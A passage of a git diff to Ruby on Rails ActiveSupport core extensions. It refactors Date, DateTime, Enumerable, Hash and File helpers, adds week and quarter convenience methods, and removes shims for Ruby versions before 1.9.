-  # Returns a new Date/DateTime representing the end of this week (Sunday, DateTime objects will have time set to 23:59:59).
-  def end_of_week
-    days_to_sunday = self.wday!=0 ? 7-self.wday : 0
-    result = self + days_to_sunday.days
-    self.acts_like?(:time) ? result.end_of_day : result
+  # Returns a new +Date+/+DateTime+ representing the start of this week. Week is
+  # assumed to start on a Monday. +DateTime+ objects have their time set to 0:00.
+  def monday
+    beginning_of_week
+  end
+
+  # Returns a new +Date+/+DateTime+ representing the end of this week. Week is
+  # assumed to start on +start_day+, default is +:monday+. +DateTime+ objects
+  # have their time set to 23:59:59.
+  def end_of_week(start_day = :monday)
+    days_to_end = 6 - days_to_week_start(start_day)
+    result = self + days_to_end.days
+    acts_like?(:time) ? result.end_of_day : result
   end
-  alias :sunday :end_of_week
   alias :at_end_of_week :end_of_week
 
-  # Returns a new Date/DateTime representing the start of the given day in the previous week (default is Monday).
+  # Returns a new +Date+/+DateTime+ representing the end of this week. Week is
+  # assumed to start on a Monday. +DateTime+ objects have their time set to 23:59:59.
+  def sunday
+    end_of_week
+  end
+
+  # Returns a new +Date+/+DateTime+ representing the given +day+ in the previous
+  # week. Default is +:monday+. +DateTime+ objects have their time set to 0:00.
   def prev_week(day = :monday)
     result = (self - 7).beginning_of_week + DAYS_INTO_WEEK[day]
-    self.acts_like?(:time) ? result.change(:hour => 0) : result
+    acts_like?(:time) ? result.change(:hour => 0) : result
   end
+  alias :last_week :prev_week
+
+  # Alias of prev_month
+  alias :last_month :prev_month
 
-  # Returns a new Date/DateTime representing the start of the given day in next week (default is Monday).
+  # Alias of prev_year
+  alias :last_year :prev_year
+
+  # Returns a new Date/DateTime representing the start of the given day in next week (default is :monday).
   def next_week(day = :monday)
     result = (self + 7).beginning_of_week + DAYS_INTO_WEEK[day]
-    self.acts_like?(:time) ? result.change(:hour => 0) : result
+    acts_like?(:time) ? result.change(:hour => 0) : result
+  end
+
+  # Short-hand for months_ago(3)
+  def prev_quarter
+    months_ago(3)
   end
+  alias_method :last_quarter, :prev_quarter
 
-  # Returns a new ; DateTime objects will have time set to 0:00DateTime representing the start of the month (1st of the month; DateTime objects will have time set to 0:00)
+  # Short-hand for months_since(3)
+  def next_quarter
+    months_since(3)
+  end
+
+  # Returns a new Date/DateTime representing the start of the month (1st of the month; DateTime objects will have time set to 0:00)
   def beginning_of_month
-    self.acts_like?(:time) ? change(:day => 1, :hour => 0) : change(:day => 1)
+    acts_like?(:time) ? change(:day => 1, :hour => 0) : change(:day => 1)
   end
   alias :at_beginning_of_month :beginning_of_month
 
   # Returns a new Date/DateTime representing the end of the month (last day of the month; DateTime objects will have time set to 0:00)
   def end_of_month
-    last_day = ::Time.days_in_month( self.month, self.year )
-    self.acts_like?(:time) ? change(:day => last_day, :hour => 23, :min => 59, :sec => 59) : change(:day => last_day)
+    last_day = ::Time.days_in_month(month, year)
+    if acts_like?(:time)
+      change(:day => last_day, :hour => 23, :min => 59, :sec => 59)
+    else
+      change(:day => last_day)
+    end
   end
   alias :at_end_of_month :end_of_month
 
   # Returns a new Date/DateTime representing the start of the quarter (1st of january, april, july, october; DateTime objects will have time set to 0:00)
   def beginning_of_quarter
-    beginning_of_month.change(:month => [10, 7, 4, 1].detect { |m| m <= self.month })
+    first_quarter_month = [10, 7, 4, 1].detect { |m| m <= month }
+    beginning_of_month.change(:month => first_quarter_month)
   end
   alias :at_beginning_of_quarter :beginning_of_quarter
 
   # Returns a new Date/DateTime representing the end of the quarter (last day of march, june, september, december; DateTime objects will have time set to 23:59:59)
   def end_of_quarter
-    beginning_of_month.change(:month => [3, 6, 9, 12].detect { |m| m >= self.month }).end_of_month
+    last_quarter_month = [3, 6, 9, 12].detect { |m| m >= month }
+    beginning_of_month.change(:month => last_quarter_month).end_of_month
   end
   alias :at_end_of_quarter :end_of_quarter
 
   # Returns a new Date/DateTime representing the start of the year (1st of january; DateTime objects will have time set to 0:00)
   def beginning_of_year
-    self.acts_like?(:time) ? change(:month => 1, :day => 1, :hour => 0) : change(:month => 1, :day => 1)
+    if acts_like?(:time)
+      change(:month => 1, :day => 1, :hour => 0)
+    else
+      change(:month => 1, :day => 1)
+    end
   end
   alias :at_beginning_of_year :beginning_of_year
 
   # Returns a new Time representing the end of the year (31st of december; DateTime objects will have time set to 23:59:59)
   def end_of_year
-    self.acts_like?(:time) ? change(:month => 12, :day => 31, :hour => 23, :min => 59, :sec => 59) : change(:month => 12, :day => 31)
+    if acts_like?(:time)
+      change(:month => 12, :day => 31, :hour => 23, :min => 59, :sec => 59)
+    else
+      change(:month => 12, :day => 31)
+    end
   end
   alias :at_end_of_year :end_of_year
 
diff --git a/activesupport/lib/active_support/core_ext/date/conversions.rb b/activesupport/lib/active_support/core_ext/date/conversions.rb
index 338104fd05..81f969e786 100644
--- a/activesupport/lib/active_support/core_ext/date/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/date/conversions.rb
@@ -5,12 +5,15 @@ require 'active_support/core_ext/module/remove_method'
 
 class Date
   DATE_FORMATS = {
-    :short        => "%e %b",
-    :long         => "%B %e, %Y",
-    :db           => "%Y-%m-%d",
-    :number       => "%Y%m%d",
-    :long_ordinal => lambda { |date| date.strftime("%B #{ActiveSupport::Inflector.ordinalize(date.day)}, %Y") }, # => "April 25th, 2007"
-    :rfc822       => "%e %b %Y"
+    :short        => '%e %b',
+    :long         => '%B %e, %Y',
+    :db           => '%Y-%m-%d',
+    :number       => '%Y%m%d',
+    :long_ordinal => lambda { |date|
+      day_format = ActiveSupport::Inflector.ordinalize(date.day)
+      date.strftime("%B #{day_format}, %Y") # => "April 25th, 2007"
+    },
+    :rfc822       => '%e %b %Y'
   }
 
   # Ruby 1.9 has Date#to_time which converts to localtime only.
@@ -23,7 +26,6 @@ class Date
   #
   # This method is aliased to <tt>to_s</tt>.
   #
-  # ==== Examples
   #   date = Date.new(2007, 11, 10)       # => Sat, 10 Nov 2007
   #
   #   date.to_formatted_s(:db)            # => "2007-11-10"
@@ -40,7 +42,7 @@ class Date
   # or Proc instance that takes a date argument as the value.
   #
   #   # config/initializers/time_formats.rb
-  #   Date::DATE_FORMATS[:month_and_year] = "%B %Y"
+  #   Date::DATE_FORMATS[:month_and_year] = '%B %Y'
   #   Date::DATE_FORMATS[:short_ordinal] = lambda { |date| date.strftime("%B #{date.day.ordinalize}") }
   def to_formatted_s(format = :default)
     if formatter = DATE_FORMATS[format]
@@ -58,21 +60,14 @@ class Date
 
   # Overrides the default inspect method with a human readable one, e.g., "Mon, 21 Feb 2005"
   def readable_inspect
-    strftime("%a, %d %b %Y")
+    strftime('%a, %d %b %Y')
   end
   alias_method :default_inspect, :inspect
   alias_method :inspect, :readable_inspect
 
-  # A method to keep Time, Date and DateTime instances interchangeable on conversions.
-  # In this case, it simply returns +self+.
-  def to_date
-    self
-  end if RUBY_VERSION < '1.9'
-
   # Converts a Date instance to a Time, where the time is set to the beginning of the day.
   # The timezone can be either :local or :utc (default :local).
   #
-  # ==== Examples
   #   date = Date.new(2007, 11, 10)  # => Sat, 10 Nov 2007
   #
   #   date.to_time                   # => Sat Nov 10 00:00:00 0800 2007
@@ -83,23 +78,6 @@ class Date
     ::Time.send("#{form}_time", year, month, day)
   end
 
-  # Converts a Date instance to a DateTime, where the time is set to the beginning of the day
-  # and UTC offset is set to 0.
-  #
-  # ==== Examples
-  #   date = Date.new(2007, 11, 10)  # => Sat, 10 Nov 2007
-  #
-  #   date.to_datetime               # => Sat, 10 Nov 2007 00:00:00 0000
-  def to_datetime
-    ::DateTime.civil(year, month, day, 0, 0, 0, 0)
-  end if RUBY_VERSION < '1.9'
-
-  def iso8601
-    strftime('%F')
-  end if RUBY_VERSION < '1.9'
-
-  alias_method :rfc3339, :iso8601 if RUBY_VERSION < '1.9'
-
   def xmlschema
     to_time_in_current_zone.xmlschema
   end
diff --git a/activesupport/lib/active_support/core_ext/date/freeze.rb b/activesupport/lib/active_support/core_ext/date/freeze.rb
deleted file mode 100644
index a731f8345e..0000000000
--- a/activesupport/lib/active_support/core_ext/date/freeze.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-# Date memoizes some instance methods using metaprogramming to wrap
-# the methods with one that caches the result in an instance variable.
-#
-# If a Date is frozen but the memoized method hasn't been called, the
-# first call will result in a frozen object error since the memo
-# instance variable is uninitialized.
-#
-# Work around by eagerly memoizing before the first freeze.
-#
-# Ruby 1.9 uses a preinitialized instance variable so it's unaffected.
-# This hack is as close as we can get to feature detection:
-if RUBY_VERSION < '1.9'
-  require 'date'
-  begin
-    ::Date.today.freeze.jd
-  rescue => frozen_object_error
-    if frozen_object_error.message =~ /frozen/
-      class Date #:nodoc:
-        def freeze
-          unless frozen?
-            self.class.private_instance_methods(false).each do |m|
-              if m.to_s =~ /\A__\d+__\Z/
-                instance_variable_set(:"@#{m}", [send(m)])
-              end
-            end
-          end
-
-          super
-        end
-      end
-    end
-  end
-end
diff --git a/activesupport/lib/active_support/core_ext/date_time.rb b/activesupport/lib/active_support/core_ext/date_time.rb
new file mode 100644
index 0000000000..e8a27b9f38
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date_time.rb
@@ -0,0 +1,4 @@
+require 'active_support/core_ext/date_time/acts_like'
+require 'active_support/core_ext/date_time/calculations'
+require 'active_support/core_ext/date_time/conversions'
+require 'active_support/core_ext/date_time/zones'
diff --git a/activesupport/lib/active_support/core_ext/date_time/calculations.rb b/activesupport/lib/active_support/core_ext/date_time/calculations.rb
index 48cf1a435d..fd78044b5d 100644
--- a/activesupport/lib/active_support/core_ext/date_time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/calculations.rb
@@ -1,10 +1,12 @@
-require 'rational' unless RUBY_VERSION >= '1.9.2'
+require 'active_support/deprecation'
 
 class DateTime
   class << self
-    # DateTimes aren't aware of DST rules, so use a consistent non-DST offset when creating a DateTime with an offset in the local zone
+    # *DEPRECATED*: Use +DateTime.civil_from_format+ directly.
     def local_offset
-      ::Time.local(2007).utc_offset.to_r / 86400
+      ActiveSupport::Deprecation.warn 'DateTime.local_offset is deprecated. Use DateTime.civil_from_format directly.', caller
+
+      ::Time.local(2012).utc_offset.to_r / 86400
     end
 
     # Returns <tt>Time.zone.now.to_datetime</tt> when <tt>Time.zone</tt> or <tt>config.time_zone</tt> are set, otherwise returns <tt>Time.now.to_datetime</tt>.
@@ -33,14 +35,14 @@ class DateTime
   # minute is passed, then sec is set to 0.
   def change(options)
     ::DateTime.civil(
-      options[:year]  || year,
-      options[:month] || month,
-      options[:day]   || day,
-      options[:hour]  || hour,
-      options[:min]   || (options[:hour] ? 0 : min),
-      options[:sec]   || ((options[:hour] || options[:min]) ? 0 : sec),
-      options[:offset]  || offset,
-      options[:start]  || start
+      options.fetch(:year, year),
+      options.fetch(:month, month),
+      options.fetch(:day, day),
+      options.fetch(:hour, hour),
+      options.fetch(:min, options[:hour] ? 0 : min),
+      options.fetch(:sec, (options[:hour] || options[:min]) ? 0 : sec),
+      options.fetch(:offset, offset),
+      options.fetch(:start, start)
     )
   end
 
@@ -51,8 +53,16 @@ class DateTime
   def advance(options)
     d = to_date.advance(options)
     datetime_advanced_by_date = change(:year => d.year, :month => d.month, :day => d.day)
-    seconds_to_advance = (options[:seconds] || 0) + (options[:minutes] || 0) * 60 + (options[:hours] || 0) * 3600
-    seconds_to_advance == 0 ? datetime_advanced_by_date : datetime_advanced_by_date.since(seconds_to_advance)
+    seconds_to_advance = \
+      options.fetch(:seconds, 0) +
+      options.fetch(:minutes, 0) * 60 +
+      options.fetch(:hours, 0) * 3600
+
+    if seconds_to_advance.zero?
+      datetime_advanced_by_date
+    else
+      datetime_advanced_by_date.since seconds_to_advance
+    end
   end
 
   # Returns a new DateTime representing the time a number of seconds ago
@@ -81,33 +91,19 @@ class DateTime
     change(:hour => 23, :min => 59, :sec => 59)
   end
 
-  # 1.9.3 defines + and - on DateTime, < 1.9.3 do not.
-  if DateTime.public_instance_methods(false).include?(:+)
-    def plus_with_duration(other) #:nodoc:
-      if ActiveSupport::Duration === other
-        other.since(self)
-      else
-        plus_without_duration(other)
-      end
-    end
-    alias_method :plus_without_duration, :+
-    alias_method :+, :plus_with_duration
-
-    def minus_with_duration(other) #:nodoc:
-      if ActiveSupport::Duration === other
-        plus_with_duration(-other)
-      else
-        minus_without_duration(other)
-      end
-    end
-    alias_method :minus_without_duration, :-
-    alias_method :-, :minus_with_duration
+  # Returns a new DateTime representing the start of the hour (hh:00:00)
+  def beginning_of_hour
+    change(:min => 0)
+  end
+  alias :at_beginning_of_hour :beginning_of_hour
+
+  # Returns a new DateTime representing the end of the hour (hh:59:59)
+  def end_of_hour
+    change(:min => 59, :sec => 59)
   end
 
   # Adjusts DateTime to UTC by adding its offset value; offset is set to 0
   #
-  # Example:
-  #
   #   DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24))       # => Mon, 21 Feb 2005 10:11:12 -0600
   #   DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24)).utc   # => Mon, 21 Feb 2005 16:11:12 +0000
   def utc
@@ -129,4 +125,5 @@ class DateTime
   def <=>(other)
     super other.to_datetime
   end
+
 end
diff --git a/activesupport/lib/active_support/core_ext/date_time/conversions.rb b/activesupport/lib/active_support/core_ext/date_time/conversions.rb
index ca899c714c..7c3a5eaace 100644
--- a/activesupport/lib/active_support/core_ext/date_time/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/conversions.rb
@@ -4,10 +4,6 @@ require 'active_support/core_ext/date_time/calculations'
 require 'active_support/values/time_zone'
 
 class DateTime
-  # Ruby 1.9 has DateTime#to_time which internally relies on Time. We define our own #to_time which allows
-  # DateTimes outside the range of what can be created with Time.
-  remove_method :to_time if instance_methods.include?(:to_time)
-
   # Convert to a formatted string. See Time::DATE_FORMATS for predefined formats.
   #
   # This method is aliased to <tt>to_s</tt>.
@@ -30,7 +26,7 @@ class DateTime
   # datetime argument as the value.
   #
   #   # config/initializers/time_formats.rb
-  #   Time::DATE_FORMATS[:month_and_year] = "%B %Y"
+  #   Time::DATE_FORMATS[:month_and_year] = '%B %Y'
   #   Time::DATE_FORMATS[:short_ordinal] = lambda { |time| time.strftime("%B #{time.day.ordinalize}") }
   def to_formatted_s(format = :default)
     if formatter = ::Time::DATE_FORMATS[format]
@@ -39,10 +35,9 @@ class DateTime
       to_default_s
     end
   end
-  alias_method :to_default_s, :to_s unless (instance_methods(false) & [:to_s, 'to_s']).empty?
+  alias_method :to_default_s, :to_s if instance_methods(false).include?(:to_s)
   alias_method :to_s, :to_formatted_s
 
-  # Returns the +utc_offset+ as an +HH:MM formatted string. Examples:
   #
   #   datetime = DateTime.civil(2000, 1, 1, 0, 0, 0, Rational(-6, 24))
   #   datetime.formatted_offset         # => "-06:00"
@@ -58,32 +53,21 @@ class DateTime
   alias_method :default_inspect, :inspect
   alias_method :inspect, :readable_inspect
 
-  # Converts self to a Ruby Date object; time portion is discarded.
-  def to_date
-    ::Date.new(year, month, day)
-  end unless instance_methods(false).include?(:to_date)
-
-  # Attempts to convert self to a Ruby Time object; returns self if out of range of Ruby Time class.
-  # If self has an offset other than 0, self will just be returned unaltered, since there's no clean way to map it to a Time.
-  def to_time
-    self.offset == 0 ? ::Time.utc_time(year, month, day, hour, min, sec, sec_fraction * (RUBY_VERSION < '1.9' ? 86400000000 : 1000000)) : self
-  end
-
-  # To be able to keep Times, Dates and DateTimes interchangeable on conversions.
-  def to_datetime
-    self
-  end unless instance_methods(false).include?(:to_datetime)
-
+  # Returns DateTime with local offset for given year if format is local else offset is zero
+  #
+  #   DateTime.civil_from_format :local, 2012
+  #   # => Sun, 01 Jan 2012 00:00:00 +0300
+  #   DateTime.civil_from_format :local, 2012, 12, 17
+  #   # => Mon, 17 Dec 2012 00:00:00 +0000
   def self.civil_from_format(utc_or_local, year, month=1, day=1, hour=0, min=0, sec=0)
-    offset = utc_or_local.to_sym == :local ? local_offset : 0
+    if utc_or_local.to_sym == :local
+      offset = ::Time.local(year, month, day).utc_offset.to_r / 86400
+    else
+      offset = 0
+    end
     civil(year, month, day, hour, min, sec, offset)
   end
 
-  # Converts datetime to an appropriate format for use in XML.
-  def xmlschema
-    strftime("%Y-%m-%dT%H:%M:%S%Z")
-  end unless instance_methods(false).include?(:xmlschema)
-
   # Converts self to a floating-point number of seconds since the Unix epoch.
   def to_f
     seconds_since_unix_epoch.to_f
@@ -96,8 +80,11 @@ class DateTime
 
   private
 
+  def offset_in_seconds
+    (offset * 86400).to_i
+  end
+
   def seconds_since_unix_epoch
-    seconds_per_day = 86_400
-    (self - ::DateTime.civil(1970)) * seconds_per_day
+    (jd - 2440588) * 86400 - offset_in_seconds + seconds_since_midnight
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/date_time/zones.rb b/activesupport/lib/active_support/core_ext/date_time/zones.rb
index 6fa55a9255..823735d3e2 100644
--- a/activesupport/lib/active_support/core_ext/date_time/zones.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/zones.rb
@@ -14,8 +14,10 @@ class DateTime
   #
   #   DateTime.new(2000).in_time_zone('Alaska')  # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
   def in_time_zone(zone = ::Time.zone)
-    return self unless zone
-
-    ActiveSupport::TimeWithZone.new(utc? ? self : getutc, ::Time.find_zone!(zone))
+    if zone
+      ActiveSupport::TimeWithZone.new(utc? ? self : getutc, ::Time.find_zone!(zone))
+    else
+      self
+    end
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/enumerable.rb b/activesupport/lib/active_support/core_ext/enumerable.rb
index 9343bb7106..03efe6a19a 100644
--- a/activesupport/lib/active_support/core_ext/enumerable.rb
+++ b/activesupport/lib/active_support/core_ext/enumerable.rb
@@ -1,42 +1,5 @@
-require 'active_support/ordered_hash'
-
 module Enumerable
-  # Ruby 1.8.7 introduces group_by, but the result isn't ordered. Override it.
-  remove_method(:group_by) if [].respond_to?(:group_by) && RUBY_VERSION < '1.9'
-
-  # Collect an enumerable into sets, grouped by the result of a block. Useful,
-  # for example, for grouping records by date.
-  #
-  # Example:
-  #
-  #   latest_transcripts.group_by(&:day).each do |day, transcripts|
-  #     p "#{day} -> #{transcripts.map(&:class).join(', ')}"
-  #   end
-  #   "2006-03-01 -> Transcript"
-  #   "2006-02-28 -> Transcript"
-  #   "2006-02-27 -> Transcript, Transcript"
-  #   "2006-02-26 -> Transcript, Transcript"
-  #   "2006-02-25 -> Transcript"
-  #   "2006-02-24 -> Transcript, Transcript"
-  #   "2006-02-23 -> Transcript"
-  def group_by
-    return to_enum :group_by unless block_given?
-    assoc = ActiveSupport::OrderedHash.new
-
-    each do |element|
-      key = yield(element)
-
-      if assoc.has_key?(key)
-        assoc[key] << element
-      else
-        assoc[key] = [element]
-      end
-    end
-
-    assoc
-  end unless [].respond_to?(:group_by)
-
-  # Calculates a sum from the elements. Examples:
+  # Calculates a sum from the elements.
   #
   #  payments.sum { |p| p.price * p.tax_rate }
   #  payments.sum(&:price)
@@ -48,7 +11,7 @@ module Enumerable
   # It can also calculate the sum without the use of a block.
   #
   #  [5, 15, 10].sum # => 30
-  #  ["foo", "bar"].sum # => "foobar"
+  #  ['foo', 'bar'].sum # => "foobar"
   #  [[1, 2], [3, 1, 5]].sum => [1, 2, 3, 1, 5]
   #
   # The default sum of an empty list is zero. You can override this default:
@@ -63,28 +26,7 @@ module Enumerable
     end
   end
 
-  # Iterates over a collection, passing the current element *and* the
-  # +memo+ to the block. Handy for building up hashes or
-  # reducing collections down to one object. Examples:
-  #
-  #   %w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase }
-  #   # => {'foo' => 'FOO', 'bar' => 'BAR'}
-  #
-  # *Note* that you can't use immutable objects like numbers, true or false as
-  # the memo. You would think the following returns 120, but since the memo is
-  # never changed, it does not.
-  #
-  #   (1..5).each_with_object(1) { |value, memo| memo *= value } # => 1
-  #
-  def each_with_object(memo)
-    return to_enum :each_with_object, memo unless block_given?
-    each do |element|
-      yield element, memo
-    end
-    memo
-  end unless [].respond_to?(:each_with_object)
-
-  # Convert an enumerable to a hash. Examples:
+  # Convert an enumerable to a hash.
   #
   #   people.index_by(&:login)
   #     => { "nextangle" => <Person ...>, "chade-" => <Person ...>, ...}
@@ -92,8 +34,11 @@ module Enumerable
   #     => { "Chade- Fowlersburg-e" => <Person ...>, "David Heinemeier Hansson" => <Person ...>, ...}
   #
   def index_by
-    return to_enum :index_by unless block_given?
-    Hash[map { |elem| [yield(elem), elem] }]
+    if block_given?
+      Hash[map { |elem| [yield(elem), elem] }]
+    else
+      to_enum :index_by
+    end
   end
 
   # Returns true if the enumerable has more than 1 element. Functionally equivalent to enum.to_a.size > 1.
@@ -106,7 +51,7 @@ module Enumerable
         cnt > 1
       end
     else
-      any?{ (cnt += 1) > 1 }
+      any? { (cnt += 1) > 1 }
     end
   end
 
@@ -120,8 +65,15 @@ class Range #:nodoc:
   # Optimize range sum to use arithmetic progression if a block is not given and
   # we have a range of numeric values.
   def sum(identity = 0)
-    return super if block_given? || !(first.instance_of?(Integer) && last.instance_of?(Integer))
-    actual_last = exclude_end? ? (last - 1) : last
-    (actual_last - first + 1) * (actual_last + first) / 2
+    if block_given? || !(first.is_a?(Integer) && last.is_a?(Integer))
+      super
+    else
+      actual_last = exclude_end? ? (last - 1) : last
+      if actual_last >= first
+        (actual_last - first + 1) * (actual_last + first) / 2
+      else
+        identity
+      end
+    end
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/exception.rb b/activesupport/lib/active_support/core_ext/exception.rb
index ef801e713d..ba7757ea07 100644
--- a/activesupport/lib/active_support/core_ext/exception.rb
+++ b/activesupport/lib/active_support/core_ext/exception.rb
@@ -1,3 +1,3 @@
 module ActiveSupport
-  FrozenObjectError = RUBY_VERSION < '1.9' ? TypeError : RuntimeError
+  FrozenObjectError = RuntimeError
 end
diff --git a/activesupport/lib/active_support/core_ext/file.rb b/activesupport/lib/active_support/core_ext/file.rb
index a763447566..dc24afbe7f 100644
--- a/activesupport/lib/active_support/core_ext/file.rb
+++ b/activesupport/lib/active_support/core_ext/file.rb
@@ -1,2 +1 @@
 require 'active_support/core_ext/file/atomic'
-require 'active_support/core_ext/file/path'
diff --git a/activesupport/lib/active_support/core_ext/file/atomic.rb b/activesupport/lib/active_support/core_ext/file/atomic.rb
index 3645597301..9e504851e7 100644
--- a/activesupport/lib/active_support/core_ext/file/atomic.rb
+++ b/activesupport/lib/active_support/core_ext/file/atomic.rb
@@ -2,21 +2,22 @@ class File
   # Write to a file atomically. Useful for situations where you don't
   # want other processes or threads to see half-written files.
   #
-  #   File.atomic_write("important.file") do |file|
-  #     file.write("hello")
+  #   File.atomic_write('important.file') do |file|
+  #     file.write('hello')
   #   end
   #
   # If your temp directory is not on the same filesystem as the file you're
   # trying to write, you can provide a different temporary directory.
   #
-  #   File.atomic_write("/data/something.important", "/data/tmp") do |file|
-  #     file.write("hello")
+  #   File.atomic_write('/data/something.important', '/data/tmp') do |file|
+  #     file.write('hello')
   #   end
   def self.atomic_write(file_name, temp_dir = Dir.tmpdir)
     require 'tempfile' unless defined?(Tempfile)
     require 'fileutils' unless defined?(FileUtils)
 
     temp_file = Tempfile.new(basename(file_name), temp_dir)
+    temp_file.binmode
     yield temp_file
     temp_file.close
 
@@ -25,8 +26,14 @@ class File
       old_stat = stat(file_name)
     rescue Errno::ENOENT
       # No old permissions, write a temp file to determine the defaults
-      check_name = join(dirname(file_name), ".permissions_check.#{Thread.current.object_id}.#{Process.pid}.#{rand(1000000)}")
-      open(check_name, "w") { }
+      temp_file_name = [
+        '.permissions_check',
+        Thread.current.object_id,
+        Process.pid,
+        rand(1000000)
+      ].join('.')
+      check_name = join(dirname(file_name), temp_file_name)
+      open(check_name, 'w') { }
       old_stat = stat(check_name)
       unlink(check_name)
     end
diff --git a/activesupport/lib/active_support/core_ext/file/path.rb b/activesupport/lib/active_support/core_ext/file/path.rb
deleted file mode 100644
index b5feab80ae..0000000000
--- a/activesupport/lib/active_support/core_ext/file/path.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-class File
-  unless File.allocate.respond_to?(:to_path)
-    alias to_path path
-  end
-end
\ No newline at end of file
diff --git a/activesupport/lib/active_support/core_ext/float.rb b/activesupport/lib/active_support/core_ext/float.rb
deleted file mode 100644
index 7570471b95..0000000000
--- a/activesupport/lib/active_support/core_ext/float.rb
+++ /dev/null
@@ -1 +0,0 @@
-require 'active_support/core_ext/float/rounding'
diff --git a/activesupport/lib/active_support/core_ext/float/rounding.rb b/activesupport/lib/active_support/core_ext/float/rounding.rb
deleted file mode 100644
index 0d4fb87665..0000000000
--- a/activesupport/lib/active_support/core_ext/float/rounding.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-class Float
-  alias precisionless_round round
-  private :precisionless_round
-
-  # Rounds the float with the specified precision.
-  #
-  #   x = 1.337
-  #   x.round    # => 1
-  #   x.round(1) # => 1.3
-  #   x.round(2) # => 1.34
-  def round(precision = nil)
-    if precision
-      magnitude = 10.0 ** precision
-      (self * magnitude).round / magnitude
-    else
-      precisionless_round
-    end
-  end
-end if RUBY_VERSION < '1.9'
diff --git a/activesupport/lib/active_support/core_ext/hash.rb b/activesupport/lib/active_support/core_ext/hash.rb
index fd1cda991e..501483498d 100644
--- a/activesupport/lib/active_support/core_ext/hash.rb
+++ b/activesupport/lib/active_support/core_ext/hash.rb
@@ -1,6 +1,5 @@
 require 'active_support/core_ext/hash/conversions'
 require 'active_support/core_ext/hash/deep_merge'
-require 'active_support/core_ext/hash/deep_dup'
 require 'active_support/core_ext/hash/diff'
 require 'active_support/core_ext/hash/except'
 require 'active_support/core_ext/hash/indifferent_access'
diff --git a/activesupport/lib/active_support/core_ext/hash/conversions.rb b/activesupport/lib/active_support/core_ext/hash/conversions.rb
index 5f07bb4f5a..7c72ead36c 100644
--- a/activesupport/lib/active_support/core_ext/hash/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/hash/conversions.rb
@@ -8,7 +8,7 @@ require 'active_support/core_ext/string/inflections'
 class Hash
   # Returns a string containing an XML representation of its receiver:
   #
-  #   {"foo" => 1, "bar" => 2}.to_xml
+  #   {'foo' => 1, 'bar' => 2}.to_xml
   #   # =>
   #   # <?xml version="1.0" encoding="UTF-8"?>
   #   # <hash>
@@ -26,20 +26,20 @@ class Hash
   #
   # * If +value+ is a callable object it must expect one or two arguments. Depending
   #   on the arity, the callable is invoked with the +options+ hash as first argument
-  #   with +key+ as <tt>:root</tt>, and +key+ singularized as second argument. The 
+  #   with +key+ as <tt>:root</tt>, and +key+ singularized as second argument. The
   #   callable can add nodes by using <tt>options[:builder]</tt>.
   #
-  #     "foo".to_xml(lambda { |options, key| options[:builder].b(key) })
+  #     'foo'.to_xml(lambda { |options, key| options[:builder].b(key) })
   #     # => "<b>foo</b>"
   #
   # * If +value+ responds to +to_xml+ the method is invoked with +key+ as <tt>:root</tt>.
-  #     
+  #
   #     class Foo
   #       def to_xml(options)
-  #         options[:builder].bar "fooing!"
+  #         options[:builder].bar 'fooing!'
   #       end
   #     end
-  #          
+  #
   #     {:foo => Foo.new}.to_xml(:skip_instruct => true)
   #     # => "<hash><bar>fooing!</bar></hash>"
   #
@@ -57,8 +57,8 @@ class Hash
   #       "TrueClass"  => "boolean",
   #       "FalseClass" => "boolean",
   #       "Date"       => "date",
-  #       "DateTime"   => "datetime",
-  #       "Time"       => "datetime"
+  #       "DateTime"   => "dateTime",
+  #       "Time"       => "dateTime"
   #     }
   #
   # By default the root node is "hash", but that's configurable via the <tt>:root</tt> option.
@@ -71,7 +71,7 @@ class Hash
 
     options = options.dup
     options[:indent]  ||= 2
-    options[:root]    ||= "hash"
+    options[:root]    ||= 'hash'
     options[:builder] ||= Builder::XmlMarkup.new(:indent => options[:indent])
 
     builder = options[:builder]
@@ -100,24 +100,24 @@ class Hash
                 []
               else
                 case entries.class.to_s   # something weird with classes not matching here.  maybe singleton methods breaking is_a?
-                when "Array"
+                when 'Array'
                   entries.collect { |v| typecast_xml_value(v) }
-                when "Hash"
+                when 'Hash'
                   [typecast_xml_value(entries)]
                 else
                   raise "can't typecast #{entries.inspect}"
                 end
               end
-            elsif value['type'] == 'file' || 
-               (value["__content__"] && (value.keys.size == 1 || value["__content__"].present?))
-              content = value["__content__"]
-              if parser = ActiveSupport::XmlMini::PARSING[value["type"]]
+            elsif value['type'] == 'file' ||
+               (value['__content__'] && (value.keys.size == 1 || value['__content__'].present?))
+              content = value['__content__']
+              if parser = ActiveSupport::XmlMini::PARSING[value['type']]
                 parser.arity == 1 ? parser.call(content) : parser.call(content, value)
               else
                 content
               end
             elsif value['type'] == 'string' && value['nil'] != 'true'
-              ""
+              ''
             # blank or nil parsed values are represented by nil
             elsif value.blank? || value['nil'] == 'true'
               nil
@@ -129,9 +129,9 @@ class Hash
             else
               xml_value = Hash[value.map { |k,v| [k, typecast_xml_value(v)] }]
 
-              # Turn { :files => { :file => #<StringIO> } into { :files => #<StringIO> } so it is compatible with
+              # Turn { :files => { :file => #<StringIO> } } into { :files => #<StringIO> } so it is compatible with
               # how multipart uploaded files from HTML appear
-              xml_value["file"].is_a?(StringIO) ? xml_value["file"] : xml_value
+              xml_value['file'].is_a?(StringIO) ? xml_value['file'] : xml_value
             end
           when 'Array'
             value.map! { |i| typecast_xml_value(i) }
@@ -145,9 +145,9 @@ class Hash
 
       def unrename_keys(params)
         case params.class.to_s
-          when "Hash"
-            Hash[params.map { |k,v| [k.to_s.tr("-", "_"), unrename_keys(v)] } ]
-          when "Array"
+          when 'Hash'
+            Hash[params.map { |k,v| [k.to_s.tr('-', '_'), unrename_keys(v)] } ]
+          when 'Array'
             params.map { |v| unrename_keys(v) }
           else
             params
